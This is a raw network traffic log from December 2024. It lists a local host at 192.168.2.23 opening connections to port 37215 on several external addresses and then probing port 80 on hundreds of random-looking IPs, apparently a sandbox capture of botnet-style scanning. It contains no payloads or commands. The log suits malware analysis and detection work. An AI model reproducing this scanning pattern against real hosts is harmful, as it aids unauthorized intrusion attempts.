Dec 3, 2024 23:16:52.160094976 CET	45448	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.160094976 CET	45448	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.160181999 CET	37215	34594	41.197.26.189	192.168.2.23
Dec 3, 2024 23:16:52.160218954 CET	34594	37215	192.168.2.23	41.197.26.189
Dec 3, 2024 23:16:52.160356998 CET	45486	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:52.160715103 CET	34594	37215	192.168.2.23	41.197.26.189
Dec 3, 2024 23:16:52.160715103 CET	34594	37215	192.168.2.23	41.197.26.189
Dec 3, 2024 23:16:52.160831928 CET	37215	55338	41.122.67.190	192.168.2.23
Dec 3, 2024 23:16:52.160876036 CET	55338	37215	192.168.2.23	41.122.67.190
Dec 3, 2024 23:16:52.160970926 CET	34632	37215	192.168.2.23	41.197.26.189
Dec 3, 2024 23:16:52.161344051 CET	55338	37215	192.168.2.23	41.122.67.190
Dec 3, 2024 23:16:52.161344051 CET	55338	37215	192.168.2.23	41.122.67.190
Dec 3, 2024 23:16:52.161350012 CET	37215	49936	156.67.180.155	192.168.2.23
Dec 3, 2024 23:16:52.161385059 CET	49936	37215	192.168.2.23	156.67.180.155
Dec 3, 2024 23:16:52.161616087 CET	55376	37215	192.168.2.23	41.122.67.190
Dec 3, 2024 23:16:52.161986113 CET	49936	37215	192.168.2.23	156.67.180.155
Dec 3, 2024 23:16:52.161986113 CET	49936	37215	192.168.2.23	156.67.180.155
Dec 3, 2024 23:16:52.162055969 CET	37215	43094	197.129.180.180	192.168.2.23
Dec 3, 2024 23:16:52.162091017 CET	43094	37215	192.168.2.23	197.129.180.180
Dec 3, 2024 23:16:52.162272930 CET	49974	37215	192.168.2.23	156.67.180.155
Dec 3, 2024 23:16:52.162525892 CET	37215	35226	197.197.150.3	192.168.2.23
Dec 3, 2024 23:16:52.162564039 CET	35226	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.162638903 CET	43094	37215	192.168.2.23	197.129.180.180
Dec 3, 2024 23:16:52.162638903 CET	43094	37215	192.168.2.23	197.129.180.180
Dec 3, 2024 23:16:52.162904978 CET	43132	37215	192.168.2.23	197.129.180.180
Dec 3, 2024 23:16:52.163139105 CET	37215	48274	156.45.45.252	192.168.2.23
Dec 3, 2024 23:16:52.163178921 CET	48274	37215	192.168.2.23	156.45.45.252
Dec 3, 2024 23:16:52.163252115 CET	35226	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.163252115 CET	35226	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.163517952 CET	35264	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:52.163891077 CET	48274	37215	192.168.2.23	156.45.45.252
Dec 3, 2024 23:16:52.163892031 CET	48274	37215	192.168.2.23	156.45.45.252
Dec 3, 2024 23:16:52.164154053 CET	48312	37215	192.168.2.23	156.45.45.252
Dec 3, 2024 23:16:52.166714907 CET	37215	60772	156.97.251.247	192.168.2.23
Dec 3, 2024 23:16:52.166754007 CET	60772	37215	192.168.2.23	156.97.251.247
Dec 3, 2024 23:16:52.166790962 CET	60772	37215	192.168.2.23	156.97.251.247
Dec 3, 2024 23:16:52.166790962 CET	60772	37215	192.168.2.23	156.97.251.247
Dec 3, 2024 23:16:52.167067051 CET	60810	37215	192.168.2.23	156.97.251.247
Dec 3, 2024 23:16:52.205980062 CET	40596	80	192.168.2.23	176.250.219.218
Dec 3, 2024 23:16:52.205981970 CET	40596	80	192.168.2.23	125.159.204.221
Dec 3, 2024 23:16:52.205981970 CET	40596	80	192.168.2.23	45.93.92.23
Dec 3, 2024 23:16:52.205986023 CET	40596	80	192.168.2.23	133.155.42.209
Dec 3, 2024 23:16:52.205991030 CET	40596	80	192.168.2.23	69.15.113.220
Dec 3, 2024 23:16:52.205992937 CET	40596	80	192.168.2.23	199.211.144.130
Dec 3, 2024 23:16:52.205996037 CET	40596	80	192.168.2.23	71.39.140.157
Dec 3, 2024 23:16:52.206007004 CET	40596	80	192.168.2.23	13.154.18.193
Dec 3, 2024 23:16:52.206012964 CET	40596	80	192.168.2.23	130.144.74.108
Dec 3, 2024 23:16:52.206016064 CET	40596	80	192.168.2.23	156.20.10.146
Dec 3, 2024 23:16:52.206016064 CET	40596	80	192.168.2.23	217.0.158.59
Dec 3, 2024 23:16:52.206016064 CET	40596	80	192.168.2.23	37.33.170.93
Dec 3, 2024 23:16:52.206016064 CET	40596	80	192.168.2.23	46.150.56.177
Dec 3, 2024 23:16:52.206026077 CET	40596	80	192.168.2.23	154.207.210.172
Dec 3, 2024 23:16:52.206027031 CET	40596	80	192.168.2.23	146.200.78.58
Dec 3, 2024 23:16:52.206027985 CET	40596	80	192.168.2.23	209.179.198.253
Dec 3, 2024 23:16:52.206033945 CET	40596	80	192.168.2.23	96.57.97.75
Dec 3, 2024 23:16:52.206033945 CET	40596	80	192.168.2.23	202.177.87.0
Dec 3, 2024 23:16:52.206046104 CET	40596	80	192.168.2.23	181.164.161.159
Dec 3, 2024 23:16:52.206048965 CET	40596	80	192.168.2.23	150.59.67.225
Dec 3, 2024 23:16:52.206058979 CET	40596	80	192.168.2.23	157.48.143.123
Dec 3, 2024 23:16:52.206058979 CET	40596	80	192.168.2.23	136.178.143.93
Dec 3, 2024 23:16:52.206073999 CET	40596	80	192.168.2.23	189.234.11.157
Dec 3, 2024 23:16:52.206073999 CET	40596	80	192.168.2.23	136.93.235.203
Dec 3, 2024 23:16:52.206073999 CET	40596	80	192.168.2.23	54.225.11.245
Dec 3, 2024 23:16:52.206080914 CET	40596	80	192.168.2.23	98.128.147.20
Dec 3, 2024 23:16:52.206082106 CET	40596	80	192.168.2.23	82.81.100.235
Dec 3, 2024 23:16:52.206084967 CET	40596	80	192.168.2.23	168.117.32.231
Dec 3, 2024 23:16:52.206099987 CET	40596	80	192.168.2.23	157.212.236.47
Dec 3, 2024 23:16:52.206099987 CET	40596	80	192.168.2.23	89.210.174.136
Dec 3, 2024 23:16:52.206106901 CET	40596	80	192.168.2.23	86.202.146.100
Dec 3, 2024 23:16:52.206108093 CET	40596	80	192.168.2.23	59.156.250.205
Dec 3, 2024 23:16:52.206115007 CET	40596	80	192.168.2.23	144.117.240.38
Dec 3, 2024 23:16:52.206125021 CET	40596	80	192.168.2.23	82.97.117.201
Dec 3, 2024 23:16:52.206129074 CET	40596	80	192.168.2.23	40.167.7.165
Dec 3, 2024 23:16:52.206129074 CET	40596	80	192.168.2.23	69.226.184.194
Dec 3, 2024 23:16:52.206129074 CET	40596	80	192.168.2.23	204.137.155.67
Dec 3, 2024 23:16:52.206134081 CET	40596	80	192.168.2.23	202.178.186.205
Dec 3, 2024 23:16:52.206134081 CET	40596	80	192.168.2.23	149.247.134.61
Dec 3, 2024 23:16:52.206144094 CET	40596	80	192.168.2.23	149.192.155.147
Dec 3, 2024 23:16:52.206157923 CET	40596	80	192.168.2.23	172.140.69.45
Dec 3, 2024 23:16:52.206157923 CET	40596	80	192.168.2.23	161.254.44.227
Dec 3, 2024 23:16:52.206157923 CET	40596	80	192.168.2.23	2.132.216.52
Dec 3, 2024 23:16:52.206166029 CET	40596	80	192.168.2.23	97.239.14.49
Dec 3, 2024 23:16:52.206180096 CET	40596	80	192.168.2.23	211.151.170.79
Dec 3, 2024 23:16:52.206186056 CET	40596	80	192.168.2.23	160.145.128.60
Dec 3, 2024 23:16:52.206197023 CET	40596	80	192.168.2.23	40.20.37.16
Dec 3, 2024 23:16:52.206197977 CET	40596	80	192.168.2.23	49.29.21.197
Dec 3, 2024 23:16:52.206197977 CET	40596	80	192.168.2.23	160.214.175.50
Dec 3, 2024 23:16:52.206198931 CET	40596	80	192.168.2.23	59.203.18.166
Dec 3, 2024 23:16:52.206217051 CET	40596	80	192.168.2.23	66.225.208.236
Dec 3, 2024 23:16:52.206217051 CET	40596	80	192.168.2.23	12.208.57.224
Dec 3, 2024 23:16:52.206218004 CET	40596	80	192.168.2.23	61.13.181.10
Dec 3, 2024 23:16:52.206233025 CET	40596	80	192.168.2.23	70.104.53.248
Dec 3, 2024 23:16:52.206235886 CET	40596	80	192.168.2.23	44.60.176.26
Dec 3, 2024 23:16:52.206235886 CET	40596	80	192.168.2.23	179.95.110.171
Dec 3, 2024 23:16:52.206235886 CET	40596	80	192.168.2.23	63.24.244.61
Dec 3, 2024 23:16:52.206237078 CET	40596	80	192.168.2.23	50.160.174.246
Dec 3, 2024 23:16:52.206238985 CET	40596	80	192.168.2.23	9.141.238.132
Dec 3, 2024 23:16:52.206243992 CET	40596	80	192.168.2.23	156.91.163.15
Dec 3, 2024 23:16:52.206254005 CET	40596	80	192.168.2.23	115.47.103.212
Dec 3, 2024 23:16:52.206260920 CET	40596	80	192.168.2.23	42.17.214.113
Dec 3, 2024 23:16:52.206265926 CET	40596	80	192.168.2.23	172.127.216.51
Dec 3, 2024 23:16:52.206271887 CET	40596	80	192.168.2.23	178.74.44.248
Dec 3, 2024 23:16:52.206271887 CET	40596	80	192.168.2.23	189.21.96.44
Dec 3, 2024 23:16:52.206271887 CET	40596	80	192.168.2.23	32.177.53.147
Dec 3, 2024 23:16:52.206273079 CET	40596	80	192.168.2.23	160.101.255.58
Dec 3, 2024 23:16:52.206275940 CET	40596	80	192.168.2.23	137.213.67.92
Dec 3, 2024 23:16:52.206279039 CET	40596	80	192.168.2.23	68.39.196.79
Dec 3, 2024 23:16:52.206283092 CET	40596	80	192.168.2.23	32.118.115.37
Dec 3, 2024 23:16:52.206284046 CET	40596	80	192.168.2.23	60.13.12.121
Dec 3, 2024 23:16:52.206284046 CET	40596	80	192.168.2.23	89.253.231.181
Dec 3, 2024 23:16:52.206283092 CET	40596	80	192.168.2.23	81.226.128.238
Dec 3, 2024 23:16:52.206295013 CET	40596	80	192.168.2.23	193.25.98.191
Dec 3, 2024 23:16:52.206295013 CET	40596	80	192.168.2.23	5.145.83.58
Dec 3, 2024 23:16:52.206295013 CET	40596	80	192.168.2.23	137.112.61.137
Dec 3, 2024 23:16:52.206299067 CET	40596	80	192.168.2.23	99.247.235.19
Dec 3, 2024 23:16:52.206300020 CET	40596	80	192.168.2.23	37.54.210.91
Dec 3, 2024 23:16:52.206305027 CET	40596	80	192.168.2.23	100.194.238.22
Dec 3, 2024 23:16:52.206307888 CET	40596	80	192.168.2.23	206.51.204.157
Dec 3, 2024 23:16:52.206322908 CET	40596	80	192.168.2.23	17.213.9.223
Dec 3, 2024 23:16:52.206322908 CET	40596	80	192.168.2.23	97.170.85.27
Dec 3, 2024 23:16:52.206325054 CET	40596	80	192.168.2.23	120.105.85.94
Dec 3, 2024 23:16:52.206329107 CET	40596	80	192.168.2.23	107.122.86.88
Dec 3, 2024 23:16:52.206350088 CET	40596	80	192.168.2.23	72.122.101.187
Dec 3, 2024 23:16:52.206353903 CET	40596	80	192.168.2.23	223.88.93.78
Dec 3, 2024 23:16:52.206355095 CET	40596	80	192.168.2.23	49.77.56.136
Dec 3, 2024 23:16:52.206355095 CET	40596	80	192.168.2.23	89.251.81.231
Dec 3, 2024 23:16:52.206361055 CET	40596	80	192.168.2.23	67.165.162.22
Dec 3, 2024 23:16:52.206361055 CET	40596	80	192.168.2.23	139.169.55.75
Dec 3, 2024 23:16:52.206362009 CET	40596	80	192.168.2.23	171.145.224.43
Dec 3, 2024 23:16:52.206362009 CET	40596	80	192.168.2.23	128.86.122.113
Dec 3, 2024 23:16:52.206381083 CET	40596	80	192.168.2.23	160.117.35.177
Dec 3, 2024 23:16:52.206382036 CET	40596	80	192.168.2.23	174.197.103.161
Dec 3, 2024 23:16:52.206388950 CET	40596	80	192.168.2.23	23.88.69.90
Dec 3, 2024 23:16:52.206398010 CET	40596	80	192.168.2.23	135.138.38.174
Dec 3, 2024 23:16:52.206399918 CET	40596	80	192.168.2.23	174.122.20.102
Dec 3, 2024 23:16:52.206403971 CET	40596	80	192.168.2.23	108.68.169.104
Dec 3, 2024 23:16:52.206422091 CET	40596	80	192.168.2.23	105.203.18.251
Dec 3, 2024 23:16:52.206427097 CET	40596	80	192.168.2.23	203.99.3.87
Dec 3, 2024 23:16:52.206429005 CET	40596	80	192.168.2.23	70.26.151.247
Dec 3, 2024 23:16:52.206429958 CET	40596	80	192.168.2.23	202.7.107.18
Dec 3, 2024 23:16:52.206446886 CET	40596	80	192.168.2.23	82.177.89.69
Dec 3, 2024 23:16:52.206448078 CET	40596	80	192.168.2.23	51.243.105.89
Dec 3, 2024 23:16:52.206448078 CET	40596	80	192.168.2.23	67.9.2.186
Dec 3, 2024 23:16:52.206448078 CET	40596	80	192.168.2.23	173.6.244.71
Dec 3, 2024 23:16:52.206450939 CET	40596	80	192.168.2.23	204.21.227.234
Dec 3, 2024 23:16:52.206470013 CET	40596	80	192.168.2.23	24.240.231.45
Dec 3, 2024 23:16:52.206470013 CET	40596	80	192.168.2.23	144.211.101.41
Dec 3, 2024 23:16:52.206470966 CET	40596	80	192.168.2.23	171.226.35.65
Dec 3, 2024 23:16:52.206470966 CET	40596	80	192.168.2.23	106.226.21.32
Dec 3, 2024 23:16:52.206490040 CET	40596	80	192.168.2.23	54.203.146.155
Dec 3, 2024 23:16:52.206492901 CET	40596	80	192.168.2.23	139.130.76.208
Dec 3, 2024 23:16:52.206494093 CET	40596	80	192.168.2.23	64.62.56.115
Dec 3, 2024 23:16:52.206494093 CET	40596	80	192.168.2.23	39.220.254.129
Dec 3, 2024 23:16:52.206494093 CET	40596	80	192.168.2.23	126.125.212.141
Dec 3, 2024 23:16:52.206512928 CET	40596	80	192.168.2.23	140.230.224.120
Dec 3, 2024 23:16:52.206515074 CET	40596	80	192.168.2.23	222.216.219.38
Dec 3, 2024 23:16:52.206520081 CET	40596	80	192.168.2.23	196.162.241.173
Dec 3, 2024 23:16:52.206526041 CET	40596	80	192.168.2.23	109.163.164.73
Dec 3, 2024 23:16:52.206530094 CET	40596	80	192.168.2.23	145.51.181.161
Dec 3, 2024 23:16:52.206532001 CET	40596	80	192.168.2.23	180.244.13.160
Dec 3, 2024 23:16:52.206538916 CET	40596	80	192.168.2.23	85.46.192.33
Dec 3, 2024 23:16:52.206552982 CET	40596	80	192.168.2.23	104.250.80.56
Dec 3, 2024 23:16:52.206553936 CET	40596	80	192.168.2.23	189.10.63.99
Dec 3, 2024 23:16:52.206557035 CET	40596	80	192.168.2.23	111.15.148.26
Dec 3, 2024 23:16:52.206559896 CET	40596	80	192.168.2.23	71.24.146.174
Dec 3, 2024 23:16:52.206576109 CET	40596	80	192.168.2.23	35.216.23.199
Dec 3, 2024 23:16:52.206578016 CET	40596	80	192.168.2.23	38.198.128.209
Dec 3, 2024 23:16:52.206578016 CET	40596	80	192.168.2.23	42.48.249.208
Dec 3, 2024 23:16:52.206581116 CET	40596	80	192.168.2.23	211.13.160.157
Dec 3, 2024 23:16:52.206583977 CET	40596	80	192.168.2.23	52.18.26.120
Dec 3, 2024 23:16:52.206595898 CET	40596	80	192.168.2.23	217.231.231.121
Dec 3, 2024 23:16:52.206598997 CET	40596	80	192.168.2.23	151.172.94.111
Dec 3, 2024 23:16:52.206603050 CET	40596	80	192.168.2.23	190.14.52.104
Dec 3, 2024 23:16:52.206619024 CET	40596	80	192.168.2.23	176.51.235.56
Dec 3, 2024 23:16:52.206619978 CET	40596	80	192.168.2.23	48.141.192.222
Dec 3, 2024 23:16:52.206620932 CET	40596	80	192.168.2.23	223.79.42.121
Dec 3, 2024 23:16:52.206620932 CET	40596	80	192.168.2.23	126.138.7.62
Dec 3, 2024 23:16:52.206628084 CET	40596	80	192.168.2.23	66.90.24.167
Dec 3, 2024 23:16:52.206634998 CET	40596	80	192.168.2.23	110.53.168.81
Dec 3, 2024 23:16:52.206646919 CET	40596	80	192.168.2.23	106.25.148.133
Dec 3, 2024 23:16:52.206646919 CET	40596	80	192.168.2.23	151.132.82.54
Dec 3, 2024 23:16:52.206654072 CET	40596	80	192.168.2.23	63.218.190.80
Dec 3, 2024 23:16:52.206655979 CET	40596	80	192.168.2.23	75.115.138.165
Dec 3, 2024 23:16:52.206665039 CET	40596	80	192.168.2.23	180.212.153.149
Dec 3, 2024 23:16:52.206670046 CET	40596	80	192.168.2.23	5.94.227.100
Dec 3, 2024 23:16:52.206677914 CET	40596	80	192.168.2.23	77.253.212.24
Dec 3, 2024 23:16:52.206691027 CET	40596	80	192.168.2.23	190.27.75.245
Dec 3, 2024 23:16:52.206692934 CET	40596	80	192.168.2.23	124.169.140.184
Dec 3, 2024 23:16:52.206697941 CET	40596	80	192.168.2.23	111.56.13.208
Dec 3, 2024 23:16:52.206708908 CET	40596	80	192.168.2.23	163.125.213.194
Dec 3, 2024 23:16:52.206717014 CET	40596	80	192.168.2.23	171.123.21.167
Dec 3, 2024 23:16:52.206720114 CET	40596	80	192.168.2.23	44.82.109.162
Dec 3, 2024 23:16:52.206723928 CET	40596	80	192.168.2.23	158.69.110.95
Dec 3, 2024 23:16:52.206732035 CET	40596	80	192.168.2.23	71.90.118.186
Dec 3, 2024 23:16:52.206736088 CET	40596	80	192.168.2.23	114.168.235.241
Dec 3, 2024 23:16:52.206751108 CET	40596	80	192.168.2.23	128.214.121.109
Dec 3, 2024 23:16:52.206751108 CET	40596	80	192.168.2.23	125.27.115.3
Dec 3, 2024 23:16:52.206759930 CET	40596	80	192.168.2.23	183.63.167.197
Dec 3, 2024 23:16:52.206759930 CET	40596	80	192.168.2.23	196.177.6.77
Dec 3, 2024 23:16:52.206765890 CET	40596	80	192.168.2.23	208.9.7.158
Dec 3, 2024 23:16:52.206768036 CET	40596	80	192.168.2.23	160.62.63.159
Dec 3, 2024 23:16:52.206772089 CET	40596	80	192.168.2.23	180.239.216.85
Dec 3, 2024 23:16:52.206780910 CET	40596	80	192.168.2.23	172.68.253.173
Dec 3, 2024 23:16:52.206793070 CET	40596	80	192.168.2.23	125.9.102.51
Dec 3, 2024 23:16:52.206801891 CET	40596	80	192.168.2.23	97.133.125.90
Dec 3, 2024 23:16:52.206801891 CET	40596	80	192.168.2.23	65.143.93.89
Dec 3, 2024 23:16:52.206809044 CET	40596	80	192.168.2.23	75.97.227.211
Dec 3, 2024 23:16:52.206816912 CET	40596	80	192.168.2.23	123.213.51.37
Dec 3, 2024 23:16:52.206820965 CET	40596	80	192.168.2.23	48.16.128.187
Dec 3, 2024 23:16:52.206825018 CET	40596	80	192.168.2.23	138.50.3.246
Dec 3, 2024 23:16:52.206829071 CET	40596	80	192.168.2.23	14.177.75.44
Dec 3, 2024 23:16:52.206849098 CET	40596	80	192.168.2.23	46.91.55.206
Dec 3, 2024 23:16:52.206849098 CET	40596	80	192.168.2.23	60.103.52.139
Dec 3, 2024 23:16:52.206854105 CET	40596	80	192.168.2.23	119.23.212.248
Dec 3, 2024 23:16:52.206854105 CET	40596	80	192.168.2.23	9.243.46.25
Dec 3, 2024 23:16:52.206860065 CET	40596	80	192.168.2.23	134.224.138.29
Dec 3, 2024 23:16:52.206864119 CET	40596	80	192.168.2.23	134.251.161.19
Dec 3, 2024 23:16:52.206873894 CET	40596	80	192.168.2.23	191.217.235.243
Dec 3, 2024 23:16:52.206883907 CET	40596	80	192.168.2.23	117.209.206.235
Dec 3, 2024 23:16:52.206892014 CET	40596	80	192.168.2.23	47.78.168.172
Dec 3, 2024 23:16:52.206892967 CET	40596	80	192.168.2.23	77.7.105.50
Dec 3, 2024 23:16:52.206897020 CET	40596	80	192.168.2.23	5.230.22.75
Dec 3, 2024 23:16:52.206899881 CET	40596	80	192.168.2.23	111.199.108.100
Dec 3, 2024 23:16:52.206907034 CET	40596	80	192.168.2.23	97.101.23.22
Dec 3, 2024 23:16:52.206918955 CET	40596	80	192.168.2.23	31.54.31.203
Dec 3, 2024 23:16:52.206926107 CET	40596	80	192.168.2.23	138.7.121.160
Dec 3, 2024 23:16:52.206928968 CET	40596	80	192.168.2.23	186.246.70.6
Dec 3, 2024 23:16:52.206933975 CET	40596	80	192.168.2.23	73.76.141.54
Dec 3, 2024 23:16:52.206937075 CET	40596	80	192.168.2.23	84.4.203.6
Dec 3, 2024 23:16:52.206949949 CET	40596	80	192.168.2.23	126.135.112.102
Dec 3, 2024 23:16:52.206954956 CET	40596	80	192.168.2.23	218.111.113.251
Dec 3, 2024 23:16:52.206959009 CET	40596	80	192.168.2.23	147.245.26.178
Dec 3, 2024 23:16:52.206970930 CET	40596	80	192.168.2.23	52.117.1.228
Dec 3, 2024 23:16:52.206974030 CET	40596	80	192.168.2.23	135.26.178.118
Dec 3, 2024 23:16:52.206979990 CET	40596	80	192.168.2.23	108.114.121.116
Dec 3, 2024 23:16:52.206981897 CET	40596	80	192.168.2.23	165.217.133.236
Dec 3, 2024 23:16:52.206990004 CET	40596	80	192.168.2.23	48.156.121.132
Dec 3, 2024 23:16:52.206995010 CET	40596	80	192.168.2.23	102.76.1.138
Dec 3, 2024 23:16:52.206995010 CET	40596	80	192.168.2.23	144.56.90.144
Dec 3, 2024 23:16:52.207003117 CET	40596	80	192.168.2.23	205.30.240.155
Dec 3, 2024 23:16:52.207004070 CET	40596	80	192.168.2.23	163.62.2.91
Dec 3, 2024 23:16:52.207004070 CET	40596	80	192.168.2.23	85.19.185.222
Dec 3, 2024 23:16:52.207005024 CET	40596	80	192.168.2.23	190.139.162.5
Dec 3, 2024 23:16:52.207014084 CET	40596	80	192.168.2.23	107.87.139.226
Dec 3, 2024 23:16:52.207014084 CET	40596	80	192.168.2.23	157.126.225.139
Dec 3, 2024 23:16:52.207015038 CET	40596	80	192.168.2.23	100.176.210.114
Dec 3, 2024 23:16:52.207016945 CET	40596	80	192.168.2.23	4.245.157.108
Dec 3, 2024 23:16:52.207016945 CET	40596	80	192.168.2.23	32.60.71.61
Dec 3, 2024 23:16:52.207017899 CET	40596	80	192.168.2.23	39.219.91.237
Dec 3, 2024 23:16:52.207017899 CET	40596	80	192.168.2.23	60.223.187.84
Dec 3, 2024 23:16:52.207025051 CET	40596	80	192.168.2.23	53.10.206.209
Dec 3, 2024 23:16:52.207034111 CET	40596	80	192.168.2.23	76.65.81.207
Dec 3, 2024 23:16:52.207036018 CET	40596	80	192.168.2.23	24.236.156.32
Dec 3, 2024 23:16:52.207046986 CET	40596	80	192.168.2.23	106.194.239.242
Dec 3, 2024 23:16:52.207051992 CET	40596	80	192.168.2.23	110.19.204.183
Dec 3, 2024 23:16:52.207052946 CET	40596	80	192.168.2.23	105.238.166.48
Dec 3, 2024 23:16:52.207067966 CET	40596	80	192.168.2.23	208.236.248.87
Dec 3, 2024 23:16:52.207072020 CET	40596	80	192.168.2.23	117.125.230.129
Dec 3, 2024 23:16:52.207076073 CET	40596	80	192.168.2.23	129.201.216.127
Dec 3, 2024 23:16:52.207079887 CET	40596	80	192.168.2.23	102.67.38.167
Dec 3, 2024 23:16:52.207087994 CET	40596	80	192.168.2.23	126.160.100.87
Dec 3, 2024 23:16:52.207096100 CET	40596	80	192.168.2.23	14.243.151.132
Dec 3, 2024 23:16:52.207096100 CET	40596	80	192.168.2.23	27.1.126.217
Dec 3, 2024 23:16:52.207103014 CET	40596	80	192.168.2.23	100.173.7.71
Dec 3, 2024 23:16:52.207103968 CET	40596	80	192.168.2.23	77.142.219.156
Dec 3, 2024 23:16:52.207112074 CET	40596	80	192.168.2.23	74.101.133.26
Dec 3, 2024 23:16:52.207113028 CET	40596	80	192.168.2.23	160.176.140.16
Dec 3, 2024 23:16:52.207113028 CET	40596	80	192.168.2.23	41.101.104.3
Dec 3, 2024 23:16:52.207113028 CET	40596	80	192.168.2.23	110.67.252.91
Dec 3, 2024 23:16:52.207113028 CET	40596	80	192.168.2.23	17.3.30.190
Dec 3, 2024 23:16:52.207133055 CET	40596	80	192.168.2.23	186.36.252.123
Dec 3, 2024 23:16:52.207135916 CET	40596	80	192.168.2.23	82.0.19.235
Dec 3, 2024 23:16:52.207138062 CET	40596	80	192.168.2.23	121.160.98.164
Dec 3, 2024 23:16:52.207137108 CET	40596	80	192.168.2.23	100.63.233.174
Dec 3, 2024 23:16:52.207137108 CET	40596	80	192.168.2.23	220.84.125.45
Dec 3, 2024 23:16:52.207151890 CET	40596	80	192.168.2.23	169.247.171.74
Dec 3, 2024 23:16:52.207154036 CET	40596	80	192.168.2.23	210.215.158.123
Dec 3, 2024 23:16:52.207173109 CET	40596	80	192.168.2.23	191.1.29.16
Dec 3, 2024 23:16:52.207174063 CET	40596	80	192.168.2.23	213.119.226.52
Dec 3, 2024 23:16:52.207176924 CET	40596	80	192.168.2.23	139.147.127.24
Dec 3, 2024 23:16:52.207176924 CET	40596	80	192.168.2.23	4.240.149.254
Dec 3, 2024 23:16:52.207180977 CET	40596	80	192.168.2.23	206.123.50.5
Dec 3, 2024 23:16:52.207184076 CET	40596	80	192.168.2.23	45.99.41.186
Dec 3, 2024 23:16:52.207189083 CET	40596	80	192.168.2.23	47.202.80.103
Dec 3, 2024 23:16:52.207202911 CET	40596	80	192.168.2.23	64.75.166.16
Dec 3, 2024 23:16:52.207207918 CET	40596	80	192.168.2.23	91.19.82.81
Dec 3, 2024 23:16:52.207210064 CET	40596	80	192.168.2.23	125.134.83.169
Dec 3, 2024 23:16:52.207226038 CET	40596	80	192.168.2.23	156.245.51.29
Dec 3, 2024 23:16:52.207227945 CET	40596	80	192.168.2.23	175.179.123.77
Dec 3, 2024 23:16:52.207230091 CET	40596	80	192.168.2.23	175.224.249.175
Dec 3, 2024 23:16:52.207230091 CET	40596	80	192.168.2.23	62.113.39.131
Dec 3, 2024 23:16:52.207233906 CET	40596	80	192.168.2.23	163.11.8.36
Dec 3, 2024 23:16:52.207233906 CET	40596	80	192.168.2.23	220.88.24.9
Dec 3, 2024 23:16:52.207233906 CET	40596	80	192.168.2.23	60.29.2.138
Dec 3, 2024 23:16:52.207233906 CET	40596	80	192.168.2.23	160.3.172.13
Dec 3, 2024 23:16:52.207233906 CET	40596	80	192.168.2.23	68.7.119.191
Dec 3, 2024 23:16:52.207242012 CET	40596	80	192.168.2.23	63.13.189.47
Dec 3, 2024 23:16:52.207247019 CET	40596	80	192.168.2.23	75.99.28.199
Dec 3, 2024 23:16:52.207247019 CET	40596	80	192.168.2.23	132.2.59.143
Dec 3, 2024 23:16:52.207262993 CET	40596	80	192.168.2.23	115.235.189.133
Dec 3, 2024 23:16:52.207263947 CET	40596	80	192.168.2.23	194.239.182.219
Dec 3, 2024 23:16:52.207262993 CET	40596	80	192.168.2.23	85.219.238.39
Dec 3, 2024 23:16:52.207281113 CET	40596	80	192.168.2.23	125.199.98.106
Dec 3, 2024 23:16:52.207283020 CET	40596	80	192.168.2.23	205.89.5.100
Dec 3, 2024 23:16:52.207283020 CET	40596	80	192.168.2.23	88.190.106.213
Dec 3, 2024 23:16:52.207298040 CET	40596	80	192.168.2.23	113.192.120.174
Dec 3, 2024 23:16:52.207298040 CET	40596	80	192.168.2.23	95.95.17.249
Dec 3, 2024 23:16:52.207314968 CET	40596	80	192.168.2.23	122.18.194.152
Dec 3, 2024 23:16:52.207314968 CET	40596	80	192.168.2.23	61.149.213.223
Dec 3, 2024 23:16:52.207324028 CET	40596	80	192.168.2.23	1.213.94.46
Dec 3, 2024 23:16:52.207330942 CET	40596	80	192.168.2.23	120.82.52.3
Dec 3, 2024 23:16:52.207331896 CET	40596	80	192.168.2.23	136.75.70.173
Dec 3, 2024 23:16:52.207340002 CET	40596	80	192.168.2.23	134.29.254.113
Dec 3, 2024 23:16:52.207343102 CET	40596	80	192.168.2.23	181.176.167.230
Dec 3, 2024 23:16:52.207349062 CET	40596	80	192.168.2.23	13.46.112.26
Dec 3, 2024 23:16:52.207364082 CET	40596	80	192.168.2.23	202.18.37.221
Dec 3, 2024 23:16:52.207365036 CET	40596	80	192.168.2.23	59.40.44.203
Dec 3, 2024 23:16:52.207365036 CET	40596	80	192.168.2.23	154.58.152.189
Dec 3, 2024 23:16:52.207370043 CET	40596	80	192.168.2.23	175.174.91.127
Dec 3, 2024 23:16:52.207372904 CET	40596	80	192.168.2.23	191.86.101.79
Dec 3, 2024 23:16:52.207375050 CET	40596	80	192.168.2.23	141.202.25.7
Dec 3, 2024 23:16:52.207381964 CET	40596	80	192.168.2.23	150.185.126.194
Dec 3, 2024 23:16:52.207392931 CET	40596	80	192.168.2.23	130.198.255.59
Dec 3, 2024 23:16:52.207395077 CET	40596	80	192.168.2.23	117.17.211.245
Dec 3, 2024 23:16:52.207397938 CET	40596	80	192.168.2.23	153.234.50.27
Dec 3, 2024 23:16:52.207411051 CET	40596	80	192.168.2.23	177.116.179.1
Dec 3, 2024 23:16:52.207413912 CET	40596	80	192.168.2.23	144.215.60.180
Dec 3, 2024 23:16:52.207418919 CET	40596	80	192.168.2.23	195.135.169.118
Dec 3, 2024 23:16:52.207418919 CET	40596	80	192.168.2.23	182.42.128.168
Dec 3, 2024 23:16:52.207427025 CET	40596	80	192.168.2.23	44.191.79.85
Dec 3, 2024 23:16:52.207432032 CET	40596	80	192.168.2.23	164.132.29.145
Dec 3, 2024 23:16:52.207437992 CET	40596	80	192.168.2.23	72.14.207.195
Dec 3, 2024 23:16:52.207444906 CET	40596	80	192.168.2.23	210.25.94.232
Dec 3, 2024 23:16:52.207453012 CET	40596	80	192.168.2.23	218.204.76.65
Dec 3, 2024 23:16:52.207458019 CET	40596	80	192.168.2.23	72.198.209.26
Dec 3, 2024 23:16:52.207458019 CET	40596	80	192.168.2.23	208.11.174.169
Dec 3, 2024 23:16:52.207474947 CET	40596	80	192.168.2.23	212.203.182.241
Dec 3, 2024 23:16:52.207474947 CET	40596	80	192.168.2.23	155.91.205.191
Dec 3, 2024 23:16:52.207482100 CET	40596	80	192.168.2.23	35.179.222.144
Dec 3, 2024 23:16:52.207487106 CET	40596	80	192.168.2.23	19.97.217.2
